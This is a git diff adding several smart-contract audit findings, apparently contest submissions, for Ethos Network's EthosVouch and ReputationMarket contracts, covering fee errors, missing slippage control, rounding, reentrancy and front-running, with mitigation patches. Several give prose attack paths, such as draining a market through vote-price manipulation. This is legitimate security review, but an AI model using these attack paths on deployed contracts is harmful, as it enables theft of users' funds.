buy 2 vote with 1.1 eth with fee 5% +```javascript + vote price = 5 * 1 / 10 = 0.5 first vote + vote price = 6 * 1 / 11 = 0.52 second vote + total vote price = 0.5 + 0.52 = 1.02 eth + fee = (1.1 * 5) / 100 ‎ = 0.055 eth + refund value = 1.1 - (1.02 + 0.055) = 0.025 eth + +``` +its mean userA can buy 2 positive vote but when userA send its tx to network also userB tx for buy 5 negative vote will be executed its mean positive vote price will be decreased +```javascript + vote price => 5 * 1 / 15 ‎ = 0.333 eth + vote price = 6 * 1 / 16 ‎ = 0.375 eth + total vote price = 0.333 + 0.375 ‎ = 0.708 eth + refund value = 1.1 - (0.708 + 0.055) ‎ = 0.337 eth + fee = (1.1 * 5) / 100 ‎ = 0.055 eth + +``` +as we can see fee will be computed based on 1.1 eth not based on 0.708 eth +acutal fee = 0.708 * 5 / 100 ‎ = 0.0354 eth +fee user paid = (1.1 * 5) / 100 ‎ = 0.055 eth +user loss => 0.055 eth - 0.0354 eth = ‎ = 0.0196 eth +user loss in term of dollar => 0.0196 * 3500 = $68 + + +### Impact + +user pay fee more than actual value + +### Mitigation + +consider to compute fee based on fundsPaid + diff --git a/221.md b/221.md new file mode 100644 index 0000000..368605e --- /dev/null +++ b/221.md @@ -0,0 +1,27 @@ +Small Inky Baboon + +High + +# lack of slippage control in sellVotes + +### Summary + +lack of slippage control in sellVotes + +### Root Cause +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### PoC + +**Textual PoC:** +1-userA want to sell its positive votes +2-userB's tx to buy negative vote will be executed its mean positive vote price will be decreased +3-when userA's tx will be executed userA received funds less than expected and as a user cannot control this situation + +### Impact + +loss of fund for user + +### Mitigation + +consider to implement slippage control in sellVotes same as a buyVotes \ No newline at end of file diff --git a/222.md b/222.md new file mode 100644 index 0000000..6493de9 --- /dev/null +++ b/222.md @@ -0,0 +1,50 @@ +Immense Myrtle Starfish + +High + +# Vote Manipulation Attack in a Market with Unprotected Vote Price Calculation + +### Summary +The attacker can benefit by exploiting the buy and sell prices. +The algorithm about _calcVotePrice is incorrect. +For example, +if the market was created with an initialvote 1, the attacker buys 2 trust votes and 2 distrust votes. +(The attacker buys one votes per one time). + The attacker pays a total of 1/2 + 2/3 for trust votes, and 1/4 + 2/5 for distrust votes. +Then, the attacker sells votes in the order of one trust vote followed by one distrust vote. +(The attacker sells one votes per one time). +In this case, the attacker receives 3/6 + 3/5 + 2/4 + 2/3. As a result, the attacker gains 9/20. +(The attacker gets the 9/20 benefit about controlling only 4 votes). +Then the attacker buys his votes, the attacker receives lots of benefits by using lots of votes. +This is due to a flaw in the algorithm. +### Internal pre-conditions +By incorrect algorithm of _calcVotePrice, the attacker can get benefits. +### External pre-conditions + +_No response_ + +### Attack Path +Due to the incorrect algorithm in _calcVotePrice, the attacker can gain benefits. +To gain more benefits, the attacker buys votes in a way that keeps the amounts of trust and distrust votes in the market balanced, and then sells them in the order of one trust vote followed by one distrust vote. +For example, +if the market was created with an initialvote 1, the attacker buys 2 trust votes and 2 distrust votes. +So marketFunds[profileId] is 2. +If the attacker buys 1 trust and 1 untrust, he pays 1/2+1/3. +And repeat 1 trust and 1 untrust.(pays 1/2+2/5). +Then the attacker sells one by one. +first trust vote(3/6),untrust vote (3/5), trust vote (2/4), untrust vote(2/3). +So the benefit is 8/15. +If the attacker repeats 4 times, marketFunds[profileId] will be 0. +If the attacker repeats the action, the market will fail. + +### Impact + +The attacker can continuously gain benefits through a Vote Manipulation Attack in a market with an unprotected vote price calculation and the market will fail. + +### PoC + +_No response_ + +### Mitigation +The _calcVotePrice must be correct. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920 diff --git a/223.md b/223.md new file mode 100644 index 0000000..d710505 --- /dev/null +++ b/223.md @@ -0,0 +1,65 @@ +Slow Tan Swallow + +Medium + +# `increaseVouch` lacks `whenNotPaused` + +### Summary + +All of the functions inside these contracts implement `whenNotPaused`. Such a function is used to protect users and their funds during a hack. This is done by pausing the whole contract so that the hacker would not be able to steal any funds and users would not be able to increase the value of those contracts, as that value could potentially be stolen. + + +However the issue here is that `increaseVouch` lacks `whenNotPaused` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } +``` + +### Root Cause + +`increaseVouch` not having `whenNotPaused` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +A hack to happen +The admins to react to that hack and pause the system before any more funds are stolen. + +### Attack Path + +1. Hacker manages to exploit the `EthosVouch` at time T and steal 40% of it's funds +2. Admins act quick and pause the contracts T+5 min +3. It's displayed publicly that the system has been hacked at T+15min (10min after the pause) + + +However between the time that the admins pause the contract and that it's displayed publicly that the system have been hacked a few might call `increaseVouch`. Not on purpose to get exploited, but just as normal behavior as they won't know that a hack has happened. Thus they would increase the potential amount that can be stolen. + +### Impact + +User will send more funds to a project that is already in danger. Pausing mechanism will not work. + +### PoC + +_No response_ + +### Mitigation + +Add `whenNotPaused` to `increaseVouch`: + +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { +``` diff --git a/224.md b/224.md new file mode 100644 index 0000000..240ff1e --- /dev/null +++ b/224.md @@ -0,0 +1,34 @@ +Small Inky Baboon + +Medium + +# withdrawGraduatedMarketFunds will be reverted because of insufficient balance + +### Summary + +`ReputationMarket::withdrawGraduatedMarketFunds` will be reverted because of insufficient balance + +### Root Cause + +`ReputationMarket::withdrawGraduatedMarketFunds` will be reverted because contract eth balance is less than marketFunds becuase funding paid which is included fee will be added to marketFund + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### PoC + +**Textual PoC:** +1-let's assume profile1 create a market with init liquidity 0.1 eth +2-userA buy 10 positive vote with 1 eth when protocol fee is 2% and donation is 3% +3-0.02 eth will be sent to protocolFeeAddress directly +4-0.03 eth will be added to donationEscrow +5-donationRecipient withdraw its donationEscrow its mean 0.1 + 0.95 = 1.05 eth is in contract and marketFunds[1] = 0.1[init liq] + 1 = 1.1 eth +6-market become graduated and admin call withdrawGraduatedMarketFunds in result tx will be reverted becuase of insuffient balance + +### Impact + +`ReputationMarket::withdrawGraduatedMarketFunds` will be reverted because of insufficient balance + + +### Mitigation + +consider to add fundsPaid - fee to marketsFunds \ No newline at end of file diff --git a/225.md b/225.md new file mode 100644 index 0000000..13911bb --- /dev/null +++ b/225.md @@ -0,0 +1,37 @@ +Small Inky Baboon + +Medium + +# vouches[0] always will be checked by _vouchShouldNotExistFor + + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L1038 + +### PoC + +**Textual PoC:** +1-User A vouches for User B +2-User A unvouches +3-vouchIdByAuthorForSubjectProfileId[authorA][subjectB] is deleted +4-User A tries to vouch again for User B +5-_vouchShouldNotExistFor checks vouchIdByAuthorForSubjectProfileId +6-Since the mapping was deleted, it returns 0 +7-When checking vouch, it will return someone else's vouch (vouch #0) + +### Impact +vouches[0] always will be checked by _vouchShouldNotExistFor + +### Mitigation + +```diff +@@ -1034,7 +1058,8 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + _removeFromArray(subjectIndex, subjectVouches); + delete vouchIdsForSubjectProfileIdIndex[v.subjectProfileId][v.vouchId]; + +- // the author->subject mapping is only for active vouches; remove it +- delete vouchIdByAuthorForSubjectProfileId[v.authorProfileId][v.subjectProfileId]; + + } +``` \ No newline at end of file diff --git a/226.md b/226.md new file mode 100644 index 0000000..54ae90f --- /dev/null +++ b/226.md @@ -0,0 +1,53 @@ +Soft Sapphire Tarantula + +Medium + +# Corruptible upgradability pattern in EthosVouch and ReputationMarket + +### Summary + +The EthosVouch and ReputationMarket contracts are UUPSUpgradeable but have issues regarding upgradability and initialization that could lead to storage corruption and potential reentrancy vulnerabilities. + +### Root Cause + +1. Using non-upgradeable version of `ReentrancyGuard`: +```solidity +import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuard +``` +```solidity +import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; +contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard +``` +2. Neither contract implements storage gaps to protect against storage collision in future upgrades +3. Even if switched to ReentrancyGuardUpgradeable, the contracts don't initialize it in their initializers, which could break reentrancy protection on functions handling ETH transfers + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L11 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L8 + +### Internal pre-conditions + +If admin performs an upgrade and wants to add another storage slot in any of these contracts, the storage slots would collide and become corrupted. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Storage of `EthosVouch` and `ReputationMarket` contracts will be corrupted during upgrading +Lack of reentrancy protection on functions handling ETH transfers + +### PoC + +_No response_ + +### Mitigation + +Replace ReentrancyGuard with ReentrancyGuardUpgradeable : [OpenZeppelin Contracts Upgradeable](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/tree/master) +Add storage gaps +Initialize the reentrancy guard diff --git a/227.md b/227.md new file mode 100644 index 0000000..6ff4908 --- /dev/null +++ b/227.md @@ -0,0 +1,70 @@ +Slow Tan Swallow + +Medium + +# `_calcVotePrice` rounds in favor of the user when he buys + +### Summary + +`_calcVotePrice` is used to calculate the votes when users buy or sell vote + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923 +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + + // votes[TRUST / DISTRUST] * basePrice / totalVotes + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +`_calcVotePrice` always rounds down, meaning that when users buy votes, they buy them at a cheaper price. Rounding down will also round sell, however depending on the market, it's base price and liquidity, some buys may round more than the sells, resulting in insolvency for that market. + +Such a market can reach insolvency, however the `initialLiquidity` will most likely be enought to cover any minor losses (in wei). However without initial liquidity, markets that reach insolvency will take their ETH from other markets (as all are in the same contract). + +Still even if not fully insolvent we violate the bellow statement from the README: + > Reputation Markets must never sell the initial votes. They must never pay out the initial liquidity deposited. The only way to access those funds is to graduate the market. + +### Root Cause + +`_calcVotePrice` always rounding in one direction. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Market potentially becoming insolvent. + +### PoC + +_No response_ + +### Mitigation + +Consider making 2 of these, one for buys that will round up (make the buy more expensive by 1 wei) and one for sells (the current one). This way rounding like these will not pose any system threat. Also you can use `mulDiv` (it's already used in one place - `_checkSlippageLimit`) + + +```diff +- function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { ++ function _calcVotePriceSell(Market memory market, bool isPositive) private pure returns (uint256) { + + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } + ++ function _calcVotePriceBuy(Market memory market, bool isPositive) private pure returns (uint256) { ++ uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; ++ ++ return market.votes[isPositive ? TRUST : DISTRUST].mulDiv(market.basePrice, totalVotes,Math.Rounding.Ceil); ++ } +``` \ No newline at end of file diff --git a/228.md b/228.md new file mode 100644 index 0000000..6532978 --- /dev/null +++ b/228.md @@ -0,0 +1,59 @@ +Creamy Carbon Griffin + +Medium + +# If new vouches are large enough and former vouch values small enough, malicious actors are incentivised to front run vouch transactions + +### Summary + +There is potential for large deposits to have a malicious user be incentivised to front run the transaction to unfairly claim the rewards. + +### Root Cause + +See attack path. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Take for example this hypothetical situation: +There currently is 10 eth vouched for a certain user. +The fee structure is as it is in the tests: +```typescript +const entryFee = 50n; +const exitFee = 100n; +const donationFee = 150n; +const vouchIncentives = 200n; +``` +(protocolFeeBasisPoints is set to be entry fee - I know this is a test, I'm just using it as a hypothetical) +```typescript +entry: async (deployer: EthosDeployer) => { + await deployer.ethosVouch.contract + .connect(deployer.ADMIN) + .setEntryProtocolFeeBasisPoints(entryFee); + }, +``` + +A new person is about to vouch 10,000 eth for someone - a massive increase in the amount of eth vouched - which will also cause a similarly large donation to be made to previous vouchers of 1% = 100 eth. Upon seeing this, a malicious user front runs this by [calling the vouch function](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L309) with 1000 eth. + +This malicious user pays the cumulative fees of 2.5%, so they have 975 eth vouched. They then will receive the majority of the 1.5% donation fee the whale voucher pays: 10000 * 0.015 * 975 / (975 + 100) = 136 eth. +In this calculation 975 / (975 + 100) is the amount of the donation fee that the malicious user receives as donation % received is proportional to amount vouched. +Then this malicious user can instantly claim their rewards and then unvouch, unfairly gaining excess rewards. + +### Impact + +Legitimate that have vouched for a long time users lose rewards that they should have been rewarded. + +### PoC + +_No response_ + +### Mitigation + +Maybe add a requirement that a user has to meet a minimum time requirement to be eligible for donation rewards to prevent this poor incentive structure existing. \ No newline at end of file diff --git a/229.md b/229.md new file mode 100644 index 0000000..346ac53 --- /dev/null +++ b/229.md @@ -0,0 +1,46 @@ +Oblong Violet Guppy + +Medium + +# [M-1] Lack of storage Gap in Upgradeable contracts + +## Summary: +While creating Upgradeable contracts, special care must be taken when dealing with storage slots. When the contract is upgraded in the future, the storage slots specifications remain same . + +## Description: +`EthosVouch.sol` and `ReputationMarket.sol` both contracts are UUPS upgradeable meaning that they have the ability to be upgraded but they both are not using the storage gaps which can lead them to corruptible upgradeability/storage collision when upgraded. + + https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L143 + + +Why Medium: +In `EthosVouch.sol` it uses nested structures to store data, which may complicate or make future upgrades impossible. +```javascript + struct Vouch { + bool archived; + bool unhealthy; + uint256 authorProfileId; + address authorAddress; + uint256 vouchId; + uint256 subjectProfileId; + uint256 balance; + string comment; + string metadata; + ActivityCheckpoints activityCheckpoints; // @audit: nested struct + } +``` + +Also, the `ReputationMarket.sol` contract has many storage variable and still doesn't uses storage gaps. + +## Impact: +Storage of `EthosVouch.sol` & `ReputationMarket.sol` contracts might be corrupted during an upgrade. + +**Supporting Reports:** +- https://github.com/sherlock-audit/2022-09-notional-judging/issues/35 +- https://solodit.cyfrin.io/issues/m-18-future-upgrades-may-be-difficult-or-impossible-sherlock-elfi-git + +**Recommended Mitigation:** + To avoid collision with existing storage slots, a gap in storage is recommended for future upgrades. +```javascript +uint[40] private _gap; +``` \ No newline at end of file diff --git a/230.md b/230.md new file mode 100644 index 0000000..ac02e28 --- /dev/null +++ b/230.md @@ -0,0 +1,80 @@ +Bubbly Porcelain Blackbird + +High + +# Earn rewards as donation for mock profiles cannot be claimed + +### Summary + +`EthosVouch.sol` allows authors, vouching to mock profiles, however, the donation collected from the vouching is not claimable. + +### Root Cause + +EthosVouch support staked based trust relationships b/w profiles, where one profile(author) vouches for another profile(subject). Consider, an author stake ETH to a subject profile simply via call to `vouchByAddress/vouchByProfileId()` function. The function perform some checks related the subject profiles, where it required `subjectProfileId` either to verified or mock, +```solidity + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } +``` +further `applyFee()` get called, where, along with the `protocolFee` and `vouchersPoolFee`, a portion of the stake is collected as a `donationFee`, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L945 +```solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); // @audit: cached donationFee for later claim + } +``` +this donation `amount` is cached to `subjectAddress` in a mapping by `_depositRewards()` function, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L688 +```solidity + function _depositRewards(uint256 amount, uint256 recipientProfileId) internal { + rewards[recipientProfileId] += amount; + emit DepositedToRewards(recipientProfileId, amount); + } +``` + +which is claimable later via `claimRewards()` call by subjectAddress. Notice that the author can vouch to mock profiles as it is allowed, however, the `claimRewards()` function below reverts if rewards are being claimed from the mock profiles, +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L667 +```solidity + function claimRewards() external whenNotPaused nonReentrant { + (bool verified, , bool mock, uint256 callerProfileId) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusByAddress(msg.sender); + + // Only check that this is a real profile (not mock) and was verified at some point + if (!verified || mock) { // @audit: revert if mock + revert ProfileNotFoundForAddress(msg.sender); + } + + uint256 amount = rewards[callerProfileId]; + if (amount == 0) revert InsufficientRewardsBalance(); + + rewards[callerProfileId] = 0; + (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Rewards claim failed"); + + emit WithdrawnFromRewards(callerProfileId, amount); +``` +,causing the subject address unable to claim their rewards, earned as donations. +### Impact +Reward earn as donation cannot be claimed. + +### Mitigation +Allow for mock profiles owners(subjects) to `claimRewards()` in case they can't be verified, or add an additional function where the rewards earn as a donation can be claimed by owner for mock profiles. \ No newline at end of file diff --git a/231.md b/231.md new file mode 100644 index 0000000..916cc65 --- /dev/null +++ b/231.md @@ -0,0 +1,30 @@ +Main Inky Bobcat + +Medium + +# Unhandled reward distribution when no previous vouchers exist + +## Summary +A vulnerability exists in the `_rewardPreviousVouchers` function that prevents reward distribution when no previous vouchers are present. This can lead to potential loss of fees and unexpected behavior in the reward allocation mechanism. + +## code snippet: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L714-L717 + +## Vulnerability Details +In the current implementation, when `totalBalance` is zero (indicating no previous vouchers), the function immediately returns without distributing the rewards. Specifically, the code snippet: +```solidity + if (totalBalance == 0) { + return totalBalance; + } +``` +This means that: +1. Any incoming rewards or fees for a subject profile with no previous vouchers are effectively lost +2. The passed amount parameter is not utilized or tracked + +## Impact +1. Financial Loss: Fees can be permanently trapped in the contract +2. Inconsistent Reward Mechanism: Early-stage (when there are no previous vouchers yet) the systems may frequently encounter this scenario +3. Lack of Funds Recoverability: No clear path exists to recover or reallocate undistributed rewards + +## Recommendations + Transfer to a designated treasury or reserve `_depositProtocolFee(amount)` \ No newline at end of file diff --git a/232.md b/232.md new file mode 100644 index 0000000..acafa90 --- /dev/null +++ b/232.md @@ -0,0 +1,70 @@ +Cheery Mustard Swallow + +Medium + +# Malicious Market creators can manipulate their own `ReputationMarket` through unrestricted self-trading and earn double-sided donation fees, undermining the economic model of the Reputation Market + +### Summary + +The `ReputationMarket` contract allows users to create markets for themselves and subsequently trade in these markets without restrictions. Users with sufficient funds can manipulate their markets to attract other Profiles to participate in their market until graduation, hugely incentivized by a structure where they profit from both self-trading donation returns, resulting in barely paying any fees for purchasing votes and donations from new participants. + +### Root Cause + +In [ReputationMarket.sol:442](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) there are no checks in place at all to see if the user is purchasing votes for their own market, without limitations malicious users can employ multiple tactics to ensure they make the most profit possible. + +The donation mechanism is also a very big incentive to just self-trade until market graduation. +```solidity +function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { + protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { + protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } + funds = amount - protocolFee - donation; + } +} +``` + +### Internal pre-conditions + +1. Malicious user needs to create their own market. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice has significant funds and creates a market for herself +2. Alice buys large amounts of trust votes a short period after creating the market, receiving donation fees back. +3. Alice's market appears highly active and trustworthy due to size. +4. Other users see the large market and active trading. +5. As other users buy votes, Alice earns donation fees. +6. Graduation promise creates urgency for others to join. +7. Alice maintains control through continued buying if needed. +8. Alice profits from both self-trade donation returns and fees from new participants. + +### Impact + +1. Potential abuse of a system that is supposed to rely heavily on reputation. +2. Users with funds can heavily self-trade to inflate their market. +3. They receive donation fees back from their own buys. +4. Large market size and activity attracts other participants. +5. Each new participant generates more donation fees for the creator. +6. Creators can maintain market control until graduation. + +### PoC + +See attack path + +### Mitigation + +1. Disable donation fees for self-trading (when market creator buys votes in their own market) +2. Add cooldown periods for large trades by market creators +3. Implement transparency features showing creator's position size and buy/sell activity +4. Consider caps on what percentage of their own market creators can own +7. (Extreme measure) Disable the ability to purchase votes in one's own market, similar to how self-vouching is not possible in the `EthosVouch` contract. \ No newline at end of file diff --git a/233.md b/233.md new file mode 100644 index 0000000..704e072 --- /dev/null +++ b/233.md @@ -0,0 +1,93 @@ +Virtual Denim Bobcat + +High + +# All users lose a portion of their funds when selling their votes due to bad pricing logic + +## Summary +Users lose funds when selling votes due to incorrect pricing order. + +## Vulnerability Details +Users sell their votes by calling [ReputationMarket::sellVotes()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534), within this call, an internal function [_calculateSell()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045) is used to calculate the amount of votes to sell including the funds received which will be sent to the calling user. + +The problem lies within `_calculateSell()`, here's an extract: + +```solidity + ... + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); //@audit: votePrice should be recalculated last after the next line, as the first vote price calculated before the loop should be used first + fundsReceived += votePrice; + votesSold++; + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` + +From the extract, the initial vote price is precalculated before the loop is entered and set as the `maxPrice`. Before this first value is used, it is recalculated after subtracting a vote which leads to a lower value for each vote being sold. Take the formula for vote prices: + +```solidity + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +If there are 4 `TRUST` and `DISTRUST` votes each in a market with the `market.basePrice` set to `0.01 ETH` as it is done in configuration, the vote price for both `TRUST` and `DISTRUST` votes for that market would be `0.005 ETH` each since there are equal amounts of votes. + +If a user wants to sell his 1 `TRUST` vote: + +```text +votePrice = 0.005 ETH +First iteration: + totalMarketTrustVotes -= 1 + new_vote_price = 0.00428571428 ETH + fundsReceived += new_vote_price +``` + +Since it's a single vote, the loop only iterates once - but a loss of value is already shown, here the `fundsReceived` will be `0.00428 ETH` which is only `85.7%` of its correct value `0.005 ETH` - this represents a loss of almost `15%`, and with a higher number of votes being sold this value will worsen. + +## Impact +Users lose a portion of their funds when selling votes due to incorrect pricing. + +## Recommendation +Change the order of operations such that the precomputed vote pricing is utilized first: + +```solidity + ... + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + fundsReceived += votePrice; + votesSold++; + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); //@audit-fix + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` + +An example of where this is done correctly in the code is in [_calculateBuy()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L970-L977). \ No newline at end of file diff --git a/234.md b/234.md new file mode 100644 index 0000000..bb6227b --- /dev/null +++ b/234.md @@ -0,0 +1,27 @@ +Main Inky Bobcat + +Medium + +# Inconsistent accounting in `sellVotes` function. + +## Summary +An accounting vulnerability exists in the `sellVotes` function where the market funds are not being correctly updated, potentially leading to inaccurate tracking of the market's total funds. + +## code snippet: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L521-L522 + +## Vulnerability Details +In the current implementation, the `sellVotes` function updates marketFunds[profileId] by only subtracting `fundsReceived`, it does not account for `protocolFee` generated : +```solidity +marketFunds[profileId] -= fundsReceived; +``` + +## Impact +1. Inaccurate market funds tracking +2. Potential Over-reporting of market total value(its substracting < amount for votes sold). + +## Recommendations +Modify the market funds calculation to include protocol fees: +```solidity +marketFunds[profileId] -= (fundsReceived + protocolFee); +``` \ No newline at end of file diff --git a/235.md b/235.md new file mode 100644 index 0000000..2e12531 --- /dev/null +++ b/235.md @@ -0,0 +1,47 @@ +Bubbly Porcelain Blackbird + +High + +# During trading votes, the fees are overestimated by `previewFee()` function + +### Summary + +The protocol charges higher fee than the expected, + +### Root Cause + +Let's understand with a simple example, a user deposit `100 ether` in funds, including 10% as a totalFee. + +From user perspective, funds can be divided as, +```solidity +input_amount = actualDepositAmount + totalFeeAmount; ------------------(1) +``` + +If we have to calculate the actualDepositAmout, it can be as +```solidity +totalFeeAmount = actualDepositAmount * feeBps / BASIS_POINT_BASE; ------------------(2) +``` + +Using eq. (1) and (2), +```solidity +input_amount = actualDepositAmount + (actualDepositAmount * feeBps) / BASIS_POINT_BASE; +actualDepositAmount = (inputAmount * BASIS_POINT_BASE) / (BASIS_POINT_BASE + feeBps); -----------------(3) +``` + +using eq. (3), the amount to be deposited calculated as +```solidity +actualDepositAmount = (100e18 * 10_000) / (10_000 + 1000) = 90909090909090909090 (~90.90 ether) +``` +and the fee that must charge to the user is `100 ether - 90.90 ether = 9.1 ether`(from eq. 1). However, currently in [`previewFee()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141), its charges a total `10 ether` as a fee on `100 ether` input funds, causing users to lose an additional `0.9 ether` in fee. + +### Impact + +Due to incorrect fee logic, users are charged more than they should be. + +### PoC + +_No response_ + +### Mitigation + +Implement a fee structure similar to [`EthosVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989) \ No newline at end of file diff --git a/236.md b/236.md new file mode 100644 index 0000000..16d5611 --- /dev/null +++ b/236.md @@ -0,0 +1,40 @@ +Virtual Denim Bobcat + +Medium + +# Reentrancy on graduate market withdrawal leaves contract vulnerable for draining + +## Summary +Lack of `CEI` pattern or `nonRentrant` modifier protection on `ReputationMarket::withdrawGraduatedMarketFunds()` leaves contract open to draining. + +## Vulnerability Details +When a market has been graduated - the authorized graduation withdrawal address calls [withdrawGraduatedMarketFunds()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678) to withdraw the market's funds, the problem lies in the following code: + +```solidity + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + ... + + _sendEth(marketFunds[profileId]); // @audit: can be reentered as this value is not zeroed earlier nor have a reentrancy protector + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` + +The contract can be reentered as many times as necessary in order to drain the entire balance. While this can only 